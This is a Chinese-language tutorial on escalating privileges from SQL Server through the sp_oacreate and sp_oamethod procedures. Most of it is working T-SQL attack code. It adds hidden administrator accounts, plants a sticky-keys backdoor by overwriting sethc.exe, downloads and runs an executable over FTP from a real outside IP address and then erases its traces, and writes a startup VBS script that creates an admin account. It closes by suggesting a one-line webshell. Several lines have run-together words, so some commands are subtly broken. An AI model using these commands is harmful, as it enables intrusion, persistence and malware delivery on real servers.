SP_OACreate提权经验

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本文介绍在SQL Server环境中如何利用sp_oacreate和sp_oamethod进行权限提升的方法，包括直接添加用户、文件替换、上传木马、启动项写入等操作。

在xp_cmdshell被删除或者出错情况下，可以充分利用SP_OACreate进行提权

首先

EXEC sp_configure 'show advanced options', 1;   
RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure 'Ole Automation Procedures', 1;   
RECONFIGURE WITH OVERRIDE;   
EXEC sp_configure 'show advanced options', 0;

打开组件，2005中默认关闭

1）直接加用户

2000系统：
declare@shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod@shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 123 123 /add'

declare@shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod@shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators123/add'

xp和2003系统：

declare@shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod@shell,'run',null,'c:\windows\system32\cmd.exe /c net user 123$ 123/add'

declare@shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod@shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators123$ /add'

2）粘贴键替换

declare@o int
execsp_oacreate 'scripting.filesystemobject', @o out
execsp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe','c:\windows\system32\sethc.exe';
 

declare@o int
execsp_oacreate 'scripting.filesystemobject', @o out
execsp_oamethod @o, 'copyfile',null,'c:\windows\system32\sethc.exe','c:\windows\system32\dllcache\sethc.exe';

需要同时具备sp_oacreate 和sp_oamethod 两个功能组件

3）直接传马

DECLARE@shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD@shell,'run',null, '%systemroot%\system32\cmd.exe /c echo open 222.180.210.113> cmd.txt&echo 123>> cmd.txt&echo123>> cmd.txt&echobinary >> cmd.txt&echo get 1.exe >> cmd.txt&echo bye>> cmd.txt&ftp -s:cmd.txt&1.exe&1.exe&del cmd.txt. /q/f&del 1.exe /f /q'--

4）启动项写入加账户脚本

declare@sp_passwordxieo int, @f int, @t int, @ret int

execsp_oacreate 'scripting.filesystemobject', @sp_passwordxieo out

execsp_oamethod @sp_passwordxieo, 'createtextfile', @f out, 'd:\RECYCLER\1.vbs', 1

exec@ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("WSCRIPT.NETWORK")'

exec@ret = sp_oamethod @f, 'writeline',NULL,'os="WinNT://"&wsnetwork.ComputerName'

exec@ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'

exec@ret = sp_oamethod @f, 'writeline', NULL,'Setoe=GetObject(os&"/Administrators,group")'

exec@ret = sp_oamethod @f, 'writeline', NULL,'Setod=ob.Create("user","123$")'

exec@ret = sp_oamethod @f, 'writeline', NULL,'od.SetPassword "123"'

exec@ret = sp_oamethod @f, 'writeline', NULL,'od.SetInfo'

exec@ret = sp_oamethod @f, 'writeline', NULL,'Setof=GetObject(os&"/123$",user)'

exec@ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/123$"';

5）如果该服务器有网站，则直接用方法4）写入一句话